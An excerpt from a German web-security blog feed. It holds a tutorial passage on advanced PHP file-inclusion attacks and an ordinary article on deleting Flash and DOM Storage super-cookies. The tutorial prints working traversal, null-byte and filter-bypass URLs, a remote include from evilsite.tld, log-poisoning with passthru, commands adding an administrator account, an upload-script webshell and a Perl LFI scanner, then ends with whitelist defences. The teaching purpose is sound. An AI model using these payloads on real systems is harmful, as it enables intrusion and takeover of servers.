<p><code>/home/inet/www/lang/</code></p>
<p>Ein Angreifer k&#246;nnte den Cookie-Wert also z.B. auf <code>../../../../etc/passwd</code> setzen.</p>
<pre class="prettyprint"><code>javascript:document.cookie=&quot;lang=../../../../etc/passwd&quot;;void(0);</code></pre>
<pre class="prettyprint"><code>javascript:document.cookie=&quot;lang=../../../../etc/httpd/conf/virtualhosts.conf&quot;;void(0);</code></pre>
<pre class="prettyprint"><code>javascript:document.cookie=&quot;lang=../.htpasswd&quot;;void(0);</code></pre>
<p>Nach dem Aufruf des Scripts w&#252;rden die Dateien erfolgreich eingebunden werden.</p>
<p>Auch hier ist RFI nicht m&#246;glich, da ein lokales Verzeichnis vorgegeben wird.</p>
<h2 class="headline"><a name="6">Fortgeschrittene Angriffstechniken</a></h2>
<h3>NULL Byte Poisoning</h3>
<p>Meistens ist einem Programmierer bekannt, welche Dateiendung(en) die einzubindenen Dateien haben sollen. Im folgenden Beispiel wird die Dateiendung .php angeh&#228;ngt.</p>
<p><strong>Beispiel 4:</strong></p>
<pre class="prettyprint"><code>&lt;?php
  if(isset($_GET[&#039;file&#039;]))
    include($_GET[&#039;file&#039;] . &#039;.php&#039;);
?&gt;</code></pre>
<p>Gibt man hier als GET-Parameter "/etc/passwd" an, erscheint eine Fehlermeldung, da die Datei <code>/etc/passwd.php</code> nicht existiert, sondern nur <code>/etc/passwd</code> - ohne Dateiendung.</p>
<p>Angreifer k&#246;nnen dies mit einem sogenannten NULL Byte Zeichen <code>\0</code> bzw. in Hexadezimal <code>%00</code> umgehen. In vielen Programmiersprachen terminiert das NULL Byte Zeichen einen String. Diese Angriffstechnik ist auch als NULL Byte Poisoning bekannt.</p>
<p>Die Angabe "/etc/passwd%00" w&#252;rde zu /etc/passwd%00.php f&#252;hren. Da das NULL Byte Zeichen den String terminiert, wird der Rest des Strings (hier die Dateiendung) ignoriert.</p>
<p>Erfolgreiche Angriffe k&#246;nnten daher wie folgt aussehen.</p>
<pre class="srccode"><code>http://localhost/vuln.php?file=/etc/passwd%00</code></pre>
<pre class="srccode"><code>http://localhost/vuln.php?file=/etc/httpd/conf/virtualhosts.conf%00</code></pre>
<pre class="srccode"><code>http://localhost/vuln.php?file=/home/www/.passwd%00</code></pre>
<pre class="srccode"><code>http://localhost/vuln.php?file=http://evilsite.tld/evilcode.txt%00</code></pre>
<p>In PHP-Anwendungen ist dies allerdings nur m&#246;glich, wenn <em>magic_quotes_gpc</em> auf <em>Off</em> gesetzt ist. Da dies sehr oft der Fall ist und sogar empfohlen wird, haben Angreifer gute Chancen. Ab PHP 6.0.0 wird es <em>magic_quotes_gpc</em> gar nicht mehr geben.</p>
<blockquote><p>Dieses Feature ist seit PHP 5.3.0 DEPRECATED (veraltet) und wird in PHP 6.0.0 ENTFERNT. Sich auf dieses Feature zu verlassen ist in keiner Weise empfehlenswert. - Quelle: php.net</p></blockquote>
<p><em><strong>Hinweis:</strong></em> Bei RFI gibt es in solchen F&#228;llen allerdings noch eine andere Technik, mit der <em>magic_quotes_gpc</em> umgangen werden kann. Dazu wird einfach vorget&#228;uscht, dass die Dateiendung ein GET-Parameter oder der Wert eines GET-Patameters ist.<br />
Beispiel: http://localhost/vuln.php?file=http://evilsite.tld/evilcode.txt?xy=<br />
Dies f&#252;hrt zu: http://localhost/vuln.php?file=http://evilsite.tld/evilcode.txt?xy=.php</p>
<h3>Filter Bypassing</h3>
<p>Eines der gr&#246;&#223;ten Probleme von PHP Programmierern sind fehlende Kenntnisse im Bereich PHP-Sicherheit. So entstehen h&#228;ufig unzureichende Schutzma&#223;nahmen.</p>
<p>Folgendes Beispiel soll dies verdeutlichen.</p>
<p><strong>Beispiel 5:</strong></p>
<pre class="prettyprint"><code>&lt;?php
  $file = str_replace(&#039;../&#039;, &#039;&#039;, $_GET[&#039;file&#039;]);

  if(isset($file))
    include(&#039;includes/&#039; . $file);
?&gt;</code></pre>
<p>RFI ist wegen dem vorgegebenen Verzeichnis nicht m&#246;glich. Um sich auch vor LFI Angriffen zu sch&#252;tzen, verhindert der Programmierer den Zugriff auf dar&#252;ber liegende Verzeichnisse,  indem er den Wert <code>../</code> durch einen leeren String ersetzt.</p>
<p>Folgender Angriffsversuch w&#252;rde also nicht funktionieren.</p>
<pre class="srccode"><code>http://localhost/vuln.php?file=../../../../etc/passwd</code></pre>
<p>Angreifer k&#246;nnen diese Filterung mit der Angabe <code>....//</code> umgehen.</p>
<p>Dieser Trick ist einfach nachzuvollziehen: Die Angabe <code>../</code> wird durch einen leeren String ersetzt und &#252;brig bleibt <code>../</code></p>
<p>Erfolgreiche Angriffe k&#246;nnten wie folgt aussehen.</p>
<pre class="srccode"><code>http://localhost/vuln.php?file=....//....//....//....//etc/passwd</code></pre>
<pre class="srccode"><code>http://localhost/vuln.php?file=....//....//....//....//etc/httpd/conf/virtualhosts.conf</code></pre>
<pre class="srccode"><code>http://localhost/vuln.php?file=....//....//....//....//home/www/.passwd</code></pre>
<p>Einige w&#252;rden jetzt vielleicht sogar auf die Idee kommen beide Angaben durch einen leeren String zu ersetzen. Das bringt nat&#252;rlich auch nichts, wie am folgenden Beispiel zu sehen ist.</p>
<pre class="srccode"><code>http://localhost/vuln.php?file=..../....///..../....///..../....///..../....///etc/passwd</code></pre>
<p>Zuerst werden die Angaben <code>....//</code> ersetzt. Dies ergibt: <code>....//....//....//....//</code><br />
Anschlie&#223;end werden die Angaben <code>../</code> ersetzt und &#252;brig bleibt: <code>../../../../</code></p>
<h3>Code Injizierung in Logdateien</h3>
<p>Bei Local File Inclusion lassen sich (wie bereits erw&#228;hnt) ausschlie&#223;lich lokale Dateien einbinden. Das bedeutet, dass man nur Code von vorhandenen Dateien ausf&#252;hren kann.</p>
<p>Versierte Angreifer k&#246;nnen durch clevere Tricks allerdings auch eigenen Code in vorhandene Dateien einschleusen - zum Beispiel in Logdateien.</p>
<p>Der meist verwendete Webserver ist Apache. Dort werden unter anderem Zugriffe auf dem Webserver sowie Fehler protokolliert (Access und Error Logs).</p>
<p>Ein Eintrag in der Error Log Datei wird zum Beispiel verursacht, wenn ein Verzeichnis aufgerufen wurde, das nicht existiert (Error 404).</p>
<p>Die folgenden Beispiele beziehen sich auf <a href="http://www.apachefriends.org/de/xampp.html" target="_blank">XAMPP</a> unter Windows. Dort befindet sich die Error Log Datei standardm&#228;&#223;ig unter xampp/apache/logs/error.log</p>
<p>Wird z.B. http://localhost/foobar aufgerufen, wird folgender Eintrag verursacht.</p>
<pre class="srccode"><code>[error] [client 127.0.0.1] File does not exist: C:/xampp/htdocs/foobar</code></pre>
<p>Wie man sieht, wird das angegebene Verzeichnis mitprotokolliert. Dies k&#246;nnen Angreifer ausnutzen, indem sie anstelle von einem Verzeichnis, Code angeben.</p>
<pre class="srccode"><code>http://localhost/&lt;?php passthru($_GET[&#039;cmd&#039;]); ?&gt;</code></pre>
<p><em><strong>Hinweis:</strong></em> Mit der Funktion passthru() lassen sich System-Befehle ausf&#252;hren.</p>
<p>Der Browser URL-kodiert allerdings bestimmte Zeichen (wie z.B. spitze Klammern, Leerzeichen und Anf&#252;hrungszeichen), wie in der Error Log Datei zu sehen ist:</p>
<pre class="srccode"><code>[error] [client 127.0.0.1] (20024)The given path is misformatted or contained invalid characters: Cannot map GET /%3C?php%20passthru($_GET[%27cmd%27]);%20?%3E HTTP/1.1 to file</code></pre>
<p>Aus diesem Grund kann der PHP Code nicht interpretiert werden.</p>
<p>Um die URL-Kodierung zu verhindern, nutzen Angreifer meistens Telnet, SSH, etc.</p>
<p>Eine Telnet bzw. SSH Verbindung kann mit der Shell/Konsole oder mit speziellen Programmen wie <a href="http://www.chiark.greenend.org.uk/~sgtatham/putty/" target="_blank">PuTTY</a> hergestellt werden.</p>
<p>Man kann auch kleine Scripts schreiben, die den Code ohne URL-Kodierung injizieren.</p>
<p><img src="http://www.web-tuts.de/images/posts/putty.jpg" width="440" height="110" alt="PuTTY Code Injection" /></p>
<p>Bindet man nun die Error Log Datei per LFI ein, erscheint folgender Eintrag:</p>
<pre class="srccode"><code>[error] [client 127.0.0.1] Invalid URI in request \xff\xfb\x1f\xff\xfb \xff\xfb\x18\xff\xfb&#039;\xff\xfd\x01\xff\xfb\x03\xff\xfd\x03GET /
Warning: passthru() [function.passthru]: Cannot execute a blank command in C:\xampp\apache\logs\error.log on line 17
HTTP/1.0</code></pre>
<p>Hier sieht man, dass der PHP Code erfolgreich injiziert und ausgef&#252;hrt wurde. Die Warnmeldung erscheint, weil noch nichts an der passthru() Funktion &#252;bergeben wurde.</p>
<p>Dies kann man nun mit dem gerade injizierten GET-Parameter machen.</p>
<pre class="srccode"><code>http://localhost/vuln.php?file=../apache/logs/error.log&#038;cmd=[BEFEHL]</code></pre>
<p><em><strong>Hinweis:</strong></em> Bei XAMPP befindet sich das wwwroot-Verzeichnis unter xampp/htdocs/ – also muss hier ein Verzeichnis nach oben "gesprungen" werden, um ins apache/logs/ Verzeichnis zu gelangen.</p>
<p>Harmloses Starten des Windows "Taschenrechner":</p>
<pre class="srccode"><code>http://localhost/vuln.php?file=../apache/logs/error.log&#038;cmd=start calc.exe</code></pre>
<p>Hier wird ein neuer Administrator-Account namens foo (pw: bar) angelegt:</p>
<pre class="srccode"><code>http://localhost/vuln.php?file=../apache/logs/error.log&#038;cmd=net user foo bar /add
http://localhost/vuln.php?file=../apache/logs/error.log&#038;cmd=net localgroup Administratoren foo /add
</code></pre>
<p>Da man beliebigen PHP Code ausf&#252;hren kann, ist nat&#252;rlich noch einiges mehr m&#246;glich.</p>
<p>Wie bereits erw&#228;hnt injizieren Angreifer mit RFI h&#228;ufig Webshells, mit denen sie s&#228;mtliche Aktionen durchf&#252;hren k&#246;nnen. Das ist auch mit LFI durch Injizierung von Code m&#246;glich.</p>
<p>Unter UNIX-Systemen k&#246;nnte man mit dem Programm wget entfernte Dateien auf das Zielsystem herunterladen. Hat man diese M&#246;glichkeit nicht, k&#246;nnte man auch einfach ein Upload Script injizieren, mit dem man beliebige Dateien hochladen kann:</p>
<pre class="prettyprint"><code>&lt;?php
  if(isset($_POST[&#039;upload&#039;]))
  {
    if(move_uploaded_file($_FILES[&#039;file&#039;][&#039;tmp_name&#039;], $_FILES[&#039;file&#039;][&#039;name&#039;]))
      echo &#039;&lt;p&gt;&lt;b&gt;Die Datei wurde erfolgreich hochgeladen.&lt;b&gt;&lt;/p&gt;&#039;;
  }
?&gt;
&lt;form action=&quot;&quot; enctype=&quot;multipart/form-data&quot; method=&quot;post&quot;&gt;
  &lt;input type=&quot;file&quot; name=&quot;file&quot; /&gt;
  &lt;input type=&quot;submit&quot; name=&quot;upload&quot; /&gt;
&lt;/form&gt;</code></pre>
<p>Dieses Script kann man beispielsweise in Base64 kodieren und mit der Funktion fwrite() in eine neue Datei schreiben. Dazu sind ausreichende Schreibrechte* im angegebenen Verzeichnis n&#246;tig.</p>
<p>*Angreifer suchen gezielt nach Verzeichnissen, wo sie ausrechende Schreibrechte haben. In einem CMS oder in einem Forensystem ist das z.B. ein Upload-Verzeichnis.</p>
<p>(Klicken zum Vergr&#246;&#223;ern)<br />
<a href="http://www.web-tuts.de/images/posts/putty_2.jpg"><img src="http://www.web-tuts.de/images/posts/putty_2.jpg" width="465" height="165" alt="PuTTY Upload Script Injection" /></a></p>
<p>Nach dem Ausf&#252;hren befindet sich das Upload-Script unter http://localhost/uploadscript.php</p>
<h3>Logdateien ausfindig machen</h3>
<p>Da sich Logdateien (wie z.B. die Error Log Datei) an unterschiedlichen Orten befinden k&#246;nnen (verschiedene Betriebssysteme, Versionen, Installationsverzeichnisse, ...), m&#252;ssen Angreifer sie erstmal ausfindig machen. Dazu gibt es verschiedene M&#246;glichkeiten.</p>
<p>Am einfachsten ist es, wenn man wei&#223;, wo sich die httpd.conf Datei befindet. In der stehen s&#228;mtliche Konfigurationseinstellungen – u.A. auch der Pfad zur Error Log Datei.</p>
<pre class="srccode"><code>http://localhost/vuln.php?file=../apache/conf/httpd.conf</code></pre>
<p>Eine andere M&#246;glichkeit ist das Erzeugen von Fehlermeldungen, in denen der vollst&#228;ndige Pfad ausgegeben wird (Full Path Disclosure). Daraus erh&#228;lt man oft n&#252;tzliche Informationen.</p>
<p>Falls Angreifer nicht wissen, wo sich die Logdateien befinden, k&#246;nnen sie auch automatisierte Tools (LFI Scanner) nutzen, welche die Arbeit f&#252;r sie erledigen.</p>
<p>Das folgende (vereinfachte) Perl Script durchsucht z.B. vorgegebene Verzeichnisse.</p>
<pre class="prettyprint"><code>#!/usr/bin/perl

# Beispiel Script zum Durchsuchen von Error Log Dateien
# www.web-tuts.de

use strict;
use LWP::UserAgent;

die &quot;\nUsage: perl $0 &lt;URL&gt;\n&quot; if(@ARGV &lt; 1);

my $lfi_url = $ARGV[0]; # Bsp: http://localhost/vuln.php?file=

my @logpath = (
&quot;../logs/error.log&quot;,
&quot;../../logs/error.log&quot;,
&quot;../../../logs/error.log&quot;,
&quot;../../../../logs/error.log&quot;,
&quot;../../../../../logs/error.log&quot;,
&quot;../logs/error_log&quot;,
&quot;../../logs/error_log&quot;,
&quot;../../../logs/error_log&quot;,
&quot;../../../../logs/error_log&quot;,
&quot;../../../../../logs/error_log&quot;,
&quot;../apache/logs/error.log&quot;,
&quot;../../apache/logs/error.log&quot;,
&quot;../../../apache/logs/error.log&quot;,
&quot;../../../../apache/logs/error.log&quot;,
&quot;../../../../../apache/logs/error.log&quot;,
&quot;../apache/logs/error_log&quot;,
&quot;../../apache/logs/error_log&quot;,
&quot;../../../apache/logs/error_log&quot;,
&quot;../../../../apache/logs/error_log&quot;,
&quot;../../../../../apache/logs/error_log&quot;,
&quot;../../../../../etc/httpd/logs/error.log&quot;,
&quot;../../../../../etc/httpd/logs/error_log&quot;,
&quot;../../../../../var/httpd/logs/error.log&quot;,
&quot;../../../../../var/httpd/logs/error_log&quot;,
&quot;../../../../../var/home/logs/error.log&quot;,
&quot;../../../../../var/home/logs/error_log&quot;,
&quot;../../../../../var/www/logs/error.log&quot;,
&quot;../../../../../var/www/logs/error_log&quot;,
&quot;../../../../../var/log/error.log&quot;,
&quot;../../../../../var/log/error_log&quot;);

my $useragent = LWP::UserAgent-&gt;new;
$useragent-&gt;agent(&#039;Mozilla/4.77 [en] (X11; I; IRIX;64 6.5 IP30)&#039;);

my $resp = $useragent-&gt;get($lfi_url);
if(!$resp-&gt;is_success) { die &quot;\nVerbindung zu $lfi_url fehlgeschlagen.\n&quot;; }

my $count = 0;

foreach(@logpath)
{
  $resp = $useragent-&gt;get($lfi_url . $logpath[$count]);
  if(index($resp-&gt;content, &quot;[error]&quot;) != -1)
  {
    die &quot;\nErrorLog gefunden:\n\n&quot; . $logpath[$count] . &quot;\n&quot;;
  }
  $count++;
}</code></pre>
<p><em><strong>Hinweis:</strong></em> Windows liefert standardm&#228;&#223;ig kein Perl mit, daher muss es erst installiert werden. Dazu eignet sich z.B. <a href="http://www.activestate.com/activeperl/" target="_blank">ActivePerl</a>.</p>
<h3>Code Injizierung in Bilddateien</h3>
<p>Eine weitere M&#246;glichkeit ist die Injizierung von Code in Bilddateien.</p>
<p>Viele Webanwendungen erm&#246;glichen das Hochladen von Bildern. In vielen Forensystemen sind das z.B. Benutzeravatare oder Bilder in Benutzerprofilen.</p>
<p>Bilddateien kann man mit einem normalen Texteditor bzw. Hexeditor &#246;ffnen und bearbeiten. Allerdings k&#246;nnen dadurch sehr schnell fehlerhafte Bilddateien erzeugt werden. Viele Anwendungen pr&#252;fen, ob es sich um fehlerfreie Bilddateien handelt.</p>
<p>Dazu gibt es aber auch wieder einige hilfreiche Tools (die eigentlich daf&#252;r gedacht sind Kommentare in Bilddateien zu schreiben).</p>
<p>Google liefert bei der Suche nach "jpg comment editor" gen&#252;gend Ergebnisse.</p>
<p>Injiziert man PHP Code mit solchen Tools in einer Bilddatei und l&#228;dt sie hoch, kann der Code mithilfe einer LFI Sicherheitsl&#252;cke ausgef&#252;hrt werden.</p>
<pre class="srccode"><code>http://localhost/vuln.php?file=uploads/bild.jpg</code></pre>
<h3>Code Injizierung in anderen Dateien</h3>
<p>Neben den Apache Logs befinden sich auf vielen Servern noch andere Logdateien, wie z.B. Logs von Web Analytics Tools, die ausf&#252;hrliche Besucherstatistiken beinhalten.</p>
<p>Das k&#246;nnten User-Agents, HTTP-Referrer, etc. sein. In solchen F&#228;llen k&#246;nnen Angreifer auch Code einschleusen, da der User-Agent / Referrer im Browser bzw. im HTTP-Header ver&#228;ndert werden kann - zum Beispiel mit dem Firefox Addon <a href="https://addons.mozilla.org/de/firefox/addon/3829" target="_blank">Live HTTP Headers</a>.</p>
<p><img src="http://www.web-tuts.de/images/posts/useragent.jpg" width="489" height="351" alt="Code Injection via User Agent" /></p>
<h3>PHP Input Wrapper</h3>
<p>Eine weitere fortgeschrittene (und immer noch nicht so bekannte) Angriffstechnik ist die Injizerung von Code per PHP Input Wrapper <strong>php://input</strong></p>
<p>In diesem Wrapper wird der Request-Body von POST-Requests eingelesen. Mit einer File Inclusion Sicherheitsl&#252;cke k&#246;nnen Angreifer somit beliebigen Code mittels POST-Requests ausf&#252;hren.</p>
<p>F&#252;r Angreifer ergeben sich bei dieser Methode einige Vorteile:</p>
<p>Wenn <em>allow_url_fopen</em> auf <em>Off</em> gesetzt ist, sind solche Angriffe trotzdem m&#246;glich.</p>
<p>Allerdings muss <em>allow_url_include</em> auf <em>On</em> gesetzt sein.</p>
<p>Ein weiterer Vorteil f&#252;r Angreifer ist, dass die Daten per POST-Methode &#252;bergeben werden. Somit wird der injizierte Code z.B. nicht in Apache's Access-Logs protokolliert.</p>
<pre class="srccode"><code>http://localhost/vuln.php?file=php://input</code></pre>
<p>Den POST-Request kann man ebenfalls mit Live HTTP Headers senden.</p>
<p><img src="http://www.web-tuts.de/images/posts/inputwrapper.jpg" width="478" height="350" alt="Code Injection via PHP Input Wrapper" /></p>
<p>Ein weiterer Input Wrapper ist <strong>data:</strong> - hier werden kodierte Strings in der URL &#252;bergeben, die vom Wrapper dekodiert werden. Das Ergebnis wird anschlie&#223;end auf der Seite ausgegeben. Beinhalten die Strings PHP Code, wird dieser interpretiert und ausgef&#252;hrt.</p>
<pre class="srccode"><code>http://localhost/vuln.php?file=data:;base64,PD9waHAgcGFzc3RocnUoImRpciIpOyA/Pg==</code></pre>
<p>Diese Methode ist allerdings nur m&#246;glich, wenn <em>allow_url_fopen</em> auf <em>On</em> gesetzt ist.</p>
<h2 class="headline"><a name="7">Gegenma&#223;nahmen</a></h2>
<h3>White-Listing</h3>
<p>Um sich vor File Inclusion Angriffen zu sch&#252;tzen, ist das sogenannte White-Listing in den meisten F&#228;llen am sinnvollsten. Beim White-Listing werden nur bestimmte Angaben zugelassen.</p>
<p>Beim Black-Listing werden dagegen alle Angaben zugelassen und anschlie&#223;end gefiltert.</p>
<p>In den meisten F&#228;llen wissen Programmierer bereits, welche Dateien eingebunden werden sollen. Von daher bietet sich das White-Listing in solchen F&#228;llen als sicherer Schutz gegen File Inclusion Angriffe an.</p>
<p>Eine White-List k&#246;nnte in PHP wie folgt aussehen.</p>
<pre class="prettyprint"><code>&lt;?php
  if(isset($_GET[&#039;file&#039;]))
  {
    switch($_GET[&#039;file&#039;])
    {
      case &#039;home&#039;:
        include(&#039;home.php&#039;);
        break;
      case &#039;services&#039;:
        include(&#039;services.php&#039;);
        break;
      case &#039;kontakt&#039;:
        include(&#039;kontakt.php&#039;);
        break;
      default:
        include(&#039;home.php&#039;);
    }
  }
?&gt;</code></pre>
<p>Hier werden bei den Angaben "home", "services" und "kontakt" die entsprechenden Dateien eingebunden. Falls etwas anderes angegeben wird, wird durch die default-Anweisung die Datei home.php eingebunden. Somit sind File Inclusion Angriffe unm&#246;glich.</p>
<p>Falls nicht bekannt ist, welche Dateien eingebunden werden sollen und Benutzereingaben &#252;bergeben werden k&#246;nnen, sollte man diese auch mit einer White-List validieren, da man vorher wei&#223;, welches Format die Dateinamen haben. So k&#246;nnte man z.B. nur bestimmte Zeichen erlauben.</p>
<p><em><strong>Hinweis:</strong></em> Vor einer Filterung sollte man sich immer zuerst die Konfigurationseinstellungen anschauen. Diese k&#246;nnen entweder zum Schutz beitragen oder genau das Gegenteil bewirken. Um <strong>RFI</strong> zu verhindern braucht man z.B. keine zus&#228;tzliche Filterung, wenn <em>allow_url_fopen</em> und <em>allow_url_include</em> auf <em>Off</em> gesetzt sind.</p>
<hr /><h3>Auch interessant:</h3><ul><li><a href="http://www.web-tuts.de/web-tuts-de-rueckblick-von-7-wochen.html" rel="bookmark" title="Permanent Link: Web-Tuts.de &#8211; R&#252;ckblick von 7 Wochen">Web-Tuts.de &#8211; R&#252;ckblick von 7 Wochen</a></li><li><a href="http://www.web-tuts.de/sichere-formulare-teil-2.html" rel="bookmark" title="Permanent Link: Sichere Formulare &#8211; Teil 2">Sichere Formulare &#8211; Teil 2</a></li><li><a href="http://www.web-tuts.de/sicherheitsluecken-kombinieren.html" rel="bookmark" title="Permanent Link: Sicherheitsl&#252;cken kombinieren">Sicherheitsl&#252;cken kombinieren</a></li><li><a href="http://www.web-tuts.de/content-spoofing-teil-3-http-redirects.html" rel="bookmark" title="Permanent Link: Content-Spoofing &#8211; Teil 3 &#8211; HTTP Redirects">Content-Spoofing &#8211; Teil 3 &#8211; HTTP Redirects</a></li><li><a href="http://www.web-tuts.de/gefaehrliche-funktionen-und-variablen-in-php.html" rel="bookmark" title="Permanent Link: Gef&#228;hrliche Funktionen und Variablen in PHP">Gef&#228;hrliche Funktionen und Variablen in PHP</a></li></ul><hr />Danke f&uuml;r das Abonnieren und Lesen meines Feeds. Ich freue mich auf eure <a href="http://www.web-tuts.de/advanced-local-und-remote-file-inclusion.html#comments">Kommentare</a> !<hr /><strong>Tipp:</strong> Bei <a href="http://twitter.com/web_tuts">Twitter</a> ver&ouml;ffentliche ich interessante Links und News.<hr /><small>Copyright &copy; 2010 <a href="http://www.web-tuts.de">Web-Tuts.de</a><br /> Dieser Feed ist ausschlie&szlig;lich nur f&uuml;r den privaten, nicht gewerblichen Gebrauch bestimmt.<br />Eine Verwendung dieses Feeds auf anderen Webseiten verst&ouml;&szlig;t gegen das Urheberrecht.<br />(Digitaler Fingerprint:  4377289542f8221557cc9843d0a093aa)</small>]]></content:encoded>
			<wfw:commentRss>http://www.web-tuts.de/advanced-local-und-remote-file-inclusion.html/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Datenschutz: Super-Cookies (Flash Cookies, DOM Storage)</title>
		<link>http://www.web-tuts.de/datenschutz-super-cookies-flash-cookies-dom-storage.html</link>
		<comments>http://www.web-tuts.de/datenschutz-super-cookies-flash-cookies-dom-storage.html#comments</comments>
		<pubDate>Wed, 18 Nov 2009 22:14:01 +0000</pubDate>
		<dc:creator>Maik</dc:creator>
				<category><![CDATA[Web Security]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Tipps]]></category>

		<guid isPermaLink="false">http://www.web-tuts.de/?p=215</guid>
		<description><![CDATA[
Normale Browser-Cookies kennt jeder. Sie werden &#252;blicherweise lokal auf dem Rechner in einer Textdatei gespeichert.
Beim Setzen solcher Cookies wird ein Verfallsdatum angegeben, welches bestimmt, wie lange die Cookies g&#252;ltig sind. Falls sie nicht mehr g&#252;ltig sind, werden sie gel&#246;scht. Die meisten Browser bieten die M&#246;glichkeit Cookies jederzeit zu l&#246;schen oder Cookies zu deaktivieren. Alternativ kann [...]]]></description>
			<content:encoded><![CDATA[<div class="postimg"><img src="http://www.web-tuts.de/images/posts/datenschutz_cookies.jpg" width="302" height="202" alt="Datenschutz - Cookies" /></div>
<p>Normale Browser-Cookies kennt jeder. Sie werden &#252;blicherweise lokal auf dem Rechner in einer Textdatei gespeichert.</p>
<p>Beim Setzen solcher Cookies wird ein Verfallsdatum angegeben, welches bestimmt, wie lange die Cookies g&#252;ltig sind. Falls sie nicht mehr g&#252;ltig sind, werden sie gel&#246;scht. Die meisten Browser bieten die M&#246;glichkeit Cookies jederzeit zu l&#246;schen oder Cookies zu deaktivieren. Alternativ kann man sie nat&#252;rlich auch direkt von der Festplatte l&#246;schen.</p>
<p>Ein Grund, warum Cookies von vielen Benutzern regelm&#228;&#223;ig gel&#246;scht werden, ist der Datenschutz bzw. die Privatsph&#228;re. Besonders werbetreibende Webseiten sammeln oft alle m&#246;glichen Daten und verwenden sie sp&#228;ter zu Marketing-Zwecken.</p>
<p>Alleine Browser-Cookies zu l&#246;schen reicht aber in vielen F&#228;llen nicht aus. Es gibt seit einigen Jahren ausgefeiltere Speichertechniken, die jedoch kaum jemand kennt. Die Rede ist von sogenannten <strong>Super-Cookies</strong>, wie zum Beispiel Flash Cookies.</p>

<h2 class="headline">Flash Cookies</h2>
<p>Flash-Cookies oder Local Shared Objects (LSO) unterscheiden sich deutlich von normalen Browser-Cookies. Sie haben im Gegensatz zu normalen Browser-Cookies kein Verfallsdatum und k&#246;nnen im Browser ohne spezielle Erweiterung nicht gel&#246;scht bzw. deaktiviert werden (es sei denn man deaktiviert das Flash Player Plugin).</p>
<p>Au&#223;erdem sind Flash Cookies Browser&#252;bergreifend. Das bedeutet, dass Benutzer auch identifiziert werden k&#246;nnen, wenn sie einen anderen Browser verwenden - solange sich das Cookie auf dem Rechner befindet.</p>
<h3>Speicherorte von Flash Cookies:</h3>
<p>Microsoft Windows</p>
<pre class="srccode"><code>%AppData%\Macromedia\Flash Player\#SharedObjects</code></pre>
<p>Windows 7</p>
<pre class="srccode"><code>%AppData%\Roaming\Macromedia\Flash Player\#SharedObjects</code></pre>
<p>Linux / Solaris</p>
<pre class="srccode"><code>~/.macromedia/Flash_Player/#SharedObjects</code></pre>
<p>Max OS X</p>
<pre class="srccode"><code>~/Library/Preferences/Macromedia/Flash Player/#SharedObjects</code></pre>
<h2 class="headline">Flash Cookies l&#246;schen und deaktivieren</h2>
<p>Wie bereits erw&#228;hnt, lassen sich Flash Cookies im Browser ohne weiteres nicht l&#246;schen bzw. deaktivieren. Man muss allerdings nicht jedes mal Cookies manuell vom Rechner l&#246;schen. Es gibt einfache und schnelle M&#246;glichkeiten, um Super-Cookies zu l&#246;schen oder um sie dauerhaft zu deaktivieren.</p>
<p>Zum einen gibt es f&#252;r den Firefox-Browser das Addon <a href="https://addons.mozilla.org/de/firefox/addon/6623" target="_blank">BetterPrivacy</a>. Damit lassen sich u. A. Super-Cookies auf einen Schlag (automatisch) l&#246;schen.</p>
<p><img src="http://www.web-tuts.de/images/posts/betterprivacy.jpg" width="494" height="445" alt="BetterPrivacy" /></p>
<p>Eine andere M&#246;glichkeit um Flash Cookies global zu deaktivieren bietet Adobe selbst - und zwar mit dem online <a href="http://www.macromedia.com/support/documentation/de/flashplayer/help/settings_manager03.html" target="_blank">Einstellungs-Manager</a> f&#252;r den Adobe Flash Player.</p>
<p><img src="http://www.web-tuts.de/images/posts/flashplayer_einstellungen.jpg" width="395" height="270" alt="Adobe Flash Player Einstellungs-Manager" /></p>
<p>Unter "Globale Speichereinstellungen" sollte dazu der Schieberegler ganz nach links geschoben werden, damit kein Speicherplatz mehr f&#252;r Flash Cookies auf der Festplatte bereitgestellt wird. Bei den anderen drei Optionen das H&#228;kchen entfernen und fertig.</p>
<h2 class="headline">DOM Storage Cookies</h2>
<p>DOM Storage ist ein Mechanismus, um Daten im Browser zu speichern. DOM Storage wurde vom W3C standardisiert und wird von neueren Browsern wie Firefox 2+, Internet Explorer 8 und Safari unterst&#252;tzt.</p>
<p>DOM Storage Cookies haben im Gegensatz zu normalen Cookies eine viel gr&#246;&#223;ere Speicherkapazit&#228;t (bis zu 10 MB) und k&#246;nnen somit nat&#252;rlich eine riesen Menge Daten aufnehmen. Ein weiteres Merkmal von DOM Storage Cookies ist, dass sie auch gesendet werden, wenn eine andere Subdomain aufgerufen wird. Allerdings werden DOM Storage Cookies nicht in jedem HTTP-Request &#252;bertragen.</p>
<p>Wenn man Cookies im Browser l&#246;scht, werden in der Regel auch DOM Storage Cookies gel&#246;scht. Man kann aber auch daf&#252;r sorgen, dass sie deaktiviert werden (zum Beispiel mit dem Firefox Addon <a href="https://addons.mozilla.org/de/firefox/addon/6623" target="_blank">BetterPrivacy</a>).</p>
<h2 class="headline">Muss ich jetzt alle Cookies deaktivieren?</h2>
<p>Normale Browser-Cookies nat&#252;rlich nicht. Sie sind bestandteil des Internets und ohne sie w&#252;rden viele Webanwendungen nicht richtig funktionieren und man m&#252;sste st&#228;ndig Daten neu eingeben. Allerdings schadet es nicht sie regelm&#228;&#223;ig im Browser zu l&#246;schen.</p>
<p>Flash Cookies bzw. LSOs und DOM Storage sollte man dagegen deaktivieren. Mir f&#228;llt jedenfalls kein Grund ein, warum man das nicht machen sollte. Wer den Firefox-Browser nutzt, ist mit dem BetterPrivacy Addon gut bedient - ansonsten sollte man Flash Cookies mit dem Einstellungs-Manager von Adobe global deaktivieren.</p>
